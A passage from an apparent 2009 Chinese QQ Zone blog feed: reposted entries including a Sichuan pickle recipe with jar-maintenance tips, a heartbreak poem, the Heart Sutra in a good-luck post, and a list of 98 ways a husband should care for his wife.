1.坛子内壁必须洗干净，然后把生水擦干，或干脆用开水烫一下也行.
2.绝对不能有生水.洗过的菜，也绝对不能带生水. 一定要晾干了才能放进去。
　　
二、泡制

先加入还放大料、冰糖适量。 （大料根据个人的喜好，本人建议不用，那样笔记哦啊能保持菜的原味，有特别喜欢大料味道的朋友，可以适当放点八角，桂皮之类的）

（1）常用泡菜原料：红皮的小萝卜、胡萝卜、豇豆，青菜（餐厅里作水煮鱼的那种，最好晾1-2天，蔫了再泡），辣椒、大白菜等.


注意： (1).黄瓜、大白菜最好即泡即吃，不然会引起坛子里生花。
(2）.蔬菜洗干净后，切成大快或条（不要太小），凉干水份.
(3）.放入培养好的泡菜原汁坛内，蔬菜必须完全淹没在水里，然后密封坛口.
(4）.每加入一次新的菜要加入相应的盐，要适量，作几次后会把握好的。如果盐多了，会咸，少了，菜酸。
每次加入新菜后，根据不同的菜，泡制时间不一样，最长时间一周。


三、食用
1.泡菜可直接吃，吃粥时就碟泡菜，一会儿会吃上几大碗


2.也可切成小块然后煸炒一下，泡菜特有的风味更显突出.入锅顶多2分钟.口味可根据自己的习惯用干辣椒炝锅，放味精和糖.


3.可以拌着吃。因为泡菜较咸，可以将黄瓜与泡菜丝混拌后，加入香油、味精、香菜等，也是很不错的一份凉拌菜。


4.用泡菜制作的几种家常菜
（1）.家常泡菜鱼：
捞一些泡菜，要有盖菜、辣椒、生姜，切好、弄好的鱼块
油锅里放油，油热后，倒入切好的泡菜、葱，炒出香味，加入适量水，同时加入常用调料：盐、糖、胡椒粉等。烧开后加入鱼块，煮到汤香、浓时，加入小芹菜段就可以了。如果喜欢的话加鱼时还可同时加入豆腐块一起煮，那样鱼、豆腐味都很不错. 出锅时放少许鸡精。


（2）.泡菜肉丝汤：选用泡好的盖菜，切成丝，加姜、水烧开，加入用淀粉抓过的鲜内丝，再烧开，起锅时加入葱花、味精调味。汤有点酸，但不是醋味那种酸，是夏天的解暑、增加食欲的好菜。(同样做法还有泡菜粉丝汤)


（3）.肉末泡豇豆：下饭开胃菜。


（4）.泡菜炒鸡胗/泡菜炒猪肝:下饭开胃菜


(5).酸萝卜鱼(和酸菜鱼同样做法)


(6).酸萝卜老鸭汤


(7).泡椒藕丁

(8).剁椒芋头

(9).泡猪耳朵


(10).泡凤爪



四、原汁的维护 每泡制3到4次后最好补充一次高梁酒（1/4两）、冰糖.
用过的原汁可反复使用，越老越好.5年没问题.
用过半年以后的原汁发酵能力十分强大，一般的蔬菜只需浸泡一天左右就能食用 .
如果水少了，补水的方法与开始时一样 ,注意必须等水完全冷却后再加进去. 原汁用久了，在夏天可能会有白色的浮沫出现,加几粒冰糖进去.

特别提醒：

1.坛子一定要密封，最好选用土烧制的带沿口的那种。随时要注意沿口的水不能干了，如果在夏天要外出几天，可以在沿口加点盐，可以吸收空间中的水分，避免水干掉。
2.坛子里不要粘油，占了油会生花，严重的整个坛子里的菜会腐烂。
3.四川泡菜千万别放花椒,那样泡出来的菜就不脆。
4.如果有麦芽糖，把冰糖改为麦芽糖更好。
5.要保持泡菜的香味，姜、蒜、辣椒不能断。嫩姜泡好就吃，老姜可以做调料。
6.要做酸菜鱼或者酸萝卜鸭的泡菜，时间越久越好。

呵呵，这是我的一点经验,大家交流一下。为了有个更直观的效果,特意到网上找了很多图片.如果有什么不恰当的地方，大家慢慢探讨。

]]> http://183634813.qzone.qq.com/blog/1259485785#comment 16393 Sun, 29 Nov 2009 09:09:45 GMT http://183634813.qzone.qq.com/blog/1259485785 <![CDATA[[转]有一种伤心,是说不出的心痛]]> http://183634813.qzone.qq.com/blog/1259485567 有一种伤心,是说不出的心痛







这种结局在一开始就想到
我们还没有开始就已有了结束
是一种捽不急防的落幕
是一种东升的旭日瞬间成为
夕阳的景色




不想再说什么
伤和痛都会掩在心底
因为再多的语言
都无法表达心碎的酸楚



虽然说放弃是一种美德
但谁可曾尝过
这放弃的滋味是何等的苦涩
毕竟这是一段自己曾经投入,
拥有过的感情





学会忍受痛苦
有些话适合烂在心里
有些痛苦
适合无声无息地忘记

[m]


]]> http://183634813.qzone.qq.com/blog/1259485567#comment 4105 Sun, 29 Nov 2009 09:06:07 GMT http://183634813.qzone.qq.com/blog/1259485567 <![CDATA[[转]伤心的时候可以听情歌(欢迎转载)]]> http://183634813.qzone.qq.com/blog/1259484987


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愿快乐与你朝夕相伴
 ]]> http://183634813.qzone.qq.com/blog/1259484987#comment 134238729 Sun, 29 Nov 2009 08:56:27 GMT http://183634813.qzone.qq.com/blog/1259484987 <![CDATA[[转]看了会幸运一生的图~~保佑你]]> http://183634813.qzone.qq.com/blog/1259399788 保佑所有的人家庭幸福-孩子健康--平安快乐--富贵吉祥





幸福不管明天，也不问昨天
幸福记不得过去，也不去想未来；
幸福只存在于现在——甚至不是全天，而是眼前的一瞬间......
观自在菩萨 行深般若波罗蜜多时
照见五蕴皆空 度一切苦厄
舍利子
色不异空 空不异色
色即是空 空即是色
受想行识 亦复如是
舍利子
是诸法空相 不生不灭
不垢不净 不增不减
是故空中无色 无受想行识
无眼耳鼻舌身意 无色声香味触法
无眼界 乃至无意识界
无无明 亦无无明尽
乃至无老死 亦无老死尽
无苦集灭道 无智亦无得 以无所得故


菩提萨陲 依般若波罗蜜多故
心无挂碍 无挂碍故 无有恐怖
远离颠倒梦想 究竟涅槃
三世诸佛 依般若波罗蜜多故
得阿耨多罗三藐三菩提
故知般若波罗蜜多
是大神咒 是大明咒 是无上咒
是无等等咒 能除一切苦 真实不虚
故说般若波罗蜜多咒
即说咒曰 揭谛揭谛 波罗揭谛
波罗僧揭谛 菩提娑婆诃















]]> http://183634813.qzone.qq.com/blog/1259399788#comment 20489 Sat, 28 Nov 2009 09:16:28 GMT http://183634813.qzone.qq.com/blog/1259399788 <![CDATA[[转]男人疼老婆98个细节]]> http://183634813.qzone.qq.com/blog/1259390391 1、向新朋友介绍她时，请搂着她的腰，而不是站在一旁用手指点。

　　2、在街上遇见美女凝视时间不超过5秒，看同一女生累计不得超过5次。

　　3、听老婆话的男人才会有出息，所以，你要乖乖听她的话。

　　4、她可以欺负你，但你绝对不可以欺负她，因为她虽然欺负你，但是每次有什么好东西，她第一个想到的就是你！

　　5、要是她朝你哭，你要不厌其烦地哄她，直到她破涕为笑！

　　6、把她的照片帖到钱包，手机……一切经常看到的地方。

　　7、离开她绝对不超过十天以上

　　8、在她的朋友面前，希望你可以表现得比平时更疼爱她和紧张她的样子。

　　9、大男人不表示霸道。

　　10、温柔不等于没主见。

　　11、潇洒不等于没交代。

　　12、永远不要在公众场合对她呼呼吼吼又或是撇下她一人。

　　13、她做错事情的时候教训她不要紧，最重要的是在那之后要哄她。

　　14、发脾气时不要不理她，不要给时间让她冷静，其实她完全不需要时间冷静。

　　15、可以陪自己的朋友，但一定要重色轻友。

　　16、在她想你时，争分夺秒地挤出时间与她约会

　　17、看她的眼神无比专注。

　　18、说话的语气情深意长。

　　19、有女孩和你说话，你要拉着她的手，如果她恰巧不在旁边，那么请你跟她们保持距离。

　　20、过马路的时候牵着她的手。

　　21、要懂得珍惜和她在一起的每分钟。

　　22、就算再忙，每天都不忘打一个问候的电话。

　　23、要常常唱情歌给她听。

　　24、两个人都有发火的权利，但不能同一天,如果那一天她发火了，那你就不可以发火了。

　　25、她生活中不顺心，你要循循善诱、帮忙分析，提出建设性方案若干

　　26、要非常爱你的老婆——她，坚决拥护老婆的决定，服从老婆的领导。

　　27、即使全世界的人都不相信她，你也要无条件相信她。因为她也会同样对你。

　　28、不抽烟。一经发现立即开除。

　　29、与她吵架每次陈述不得超过3分钟（含），音量不得超过20分贝（含）。

　　30、要加强锻炼，强健身体，一口气抱她上到五楼

　　31、在她心情遭透，蛮横发脾气的时候，抱抱她，而不是和她理论。

　　32、老婆不讲理是撒娇而不是撒野。

　　33、保持我们的房间有鲜花，而且常常更新。

　　34、按时下班回到家给老婆做美味的饭菜。

　　35、晚饭后拉着老婆的手去散步。

　　36、老婆喜欢“雅姿”的化妆品，我要每年都给老婆买，把老婆打扮得漂漂亮亮的。

　　37、尽量不要让老婆碰冷水，因为对老婆的身体不好。

　　38、不让老婆因为自己做错了什么而生气。

　　39、有一个我们的大房子，有一间专门的书房，有一个宽敞的阳台，阳台上有摇椅和休闲座椅。要有葡萄缠在摇椅上生长。

　　闲暇的时候，可以坐在摇椅上聊天。

　　40、家里有一套专业音响，因为我们都喜欢听歌。

　　41、老婆生病的时候要提醒老婆按时吃药。

　　42、在老婆穿了一件新买的衣服的时候不能视而不见，而且要说很漂亮，很适合她。

　　43、给老婆熬鸡蛋红糖水，治疗老婆每个月那几天的疼痛。

　　44、每天晚上抱着老婆睡。

　　45、冬天用自己的体温来温暖老婆冰冷的手脚。

　　46、每年安排和老婆一起出去旅游。

　　47、要善于发现老婆的美。

　　48、真诚的对老婆说：“我爱你！”。

　　49、手机要一直开着，让老婆可以随时找到自己。

　　50、有了好消息或者坏消息第一个告诉你。

　　51、在每次小别之后第一次见面都要深深的吻老婆。

　　52、多多陪老婆上街买老婆最爱的裙子。

　　53、下雨的时候挽着老婆的肩，共撑一把伞。

　　54、不介意帮老婆洗头。

　　55、一起刷牙的时候为老婆挤牙膏。

　　56、学习各种按摩方法给老婆做按摩，特别要常做足底按摩。

　　57、记着老婆不舒服的是哪几天，把老婆的卫生用品买好。

　　58、不与别的女的来往密切而让老婆怀疑。

　　59、随时让老婆知道自己是有责任感的人。

　　60、尊重老婆的隐私，不限制老婆的自由，相信老婆。

　　61、抽时间陪老婆看她喜欢的连续剧。

　　62、不欺骗老婆，说过的事情就要做到。

　　63、世界上只有老婆是最美丽的。

　　64、晚上和老婆说甜蜜的话。

　　65、和老婆约定了时间就不能迟到。

　　66、花一点心思常常给老婆惊喜。

　　67、不和老婆赌气，不能吵架。

　　68、经常抱抱老婆，即使在大街上也要。和老婆出门要牵着老婆的手。

　　69、和老婆看风景的时候从背后抱着老婆。

　　70、吃完饭后我洗碗，拖地，脏活累活不能让老婆干。

　　71、老婆与人争论时站在老婆一边，要是老婆不对的私下再和老婆说。

　　72、为老婆正确决定重要的事情，我是老婆的依靠。

　　73、放鞭炮时帮老婆捂上耳朵。

　　74、认真听老婆说话。每次打电话都让老婆先挂，不让老婆有失落感，而且我也舍不得挂老婆的电话。

　　75、在公共汽车上扶着老婆，偷偷的亲老婆。

　　76、规划好老婆的饮食，调养好老婆的身体，让老婆越来越健康。

　　77、让老婆的朋友羡慕你有一个优秀的我在你身边照顾你。

　　78、在有亲友来访的时候把房间收拾干净整洁。

　　79、精心给老婆煲很有营养的汤，并让老婆多喝一点。

　　80、挑好的菜给老婆吃。

　　81、和老婆一起出门的时候要注意自己的形象，要配得上漂亮的老婆。

　　82、永远记住三月八日是和老婆相识的日子。

　　83、偶尔把花送到老婆工作的地方。

　　84、常给老婆拍照，留下愉快的每个记忆。

　　85、记住老婆不经意说出的愿望，并悄悄的实现它。

　　86、夏天的晚上给老婆点上蚊香，不让老婆被蚊子咬。

　　87、送老婆体面的东西，在别人问起的时候能自豪的说这是我送给她的。

　　88、带老婆吃遍各种美食。

　　89、老婆一个人在外多打几次电话，叮嘱注意安全。

　　90、和老婆接吻的时候全身心投入。

　　91、多和老婆交流沟通，以免让老婆产生误会。

　　92、给老婆未来，此生和老婆共同渡过。

　　93、老婆为我做的事要心存感激。

　　94、保持上进心，多多学习知识，为我们的将来努力。

　　95、告诉老婆的家人，我会照顾好她的，让他们放心。

　　96、打雷的时候抱着老婆说：别怕，有我在。

　　97、吃鱼的时候给老婆把鱼刺挑出来。

　　98、爱老婆久久，久久爱老婆！ ]]> http://183634813.qzone.qq.com/blog/1259390391#comment 134218248 Sat, 28 Nov 2009 06:39:51 GMT http://183634813.qzone.qq.com/blog/1259390391 <![CDATA[[转]观世音菩萨]]> http://183634813.qzone.qq.com/blog/1259389432 ]]> http://183634813.qzone.qq.com/blog/1259389432#comment 4104 Sat, 28 Nov 2009 06:23:52 GMT http://183634813.qzone.qq.com/blog/1259389432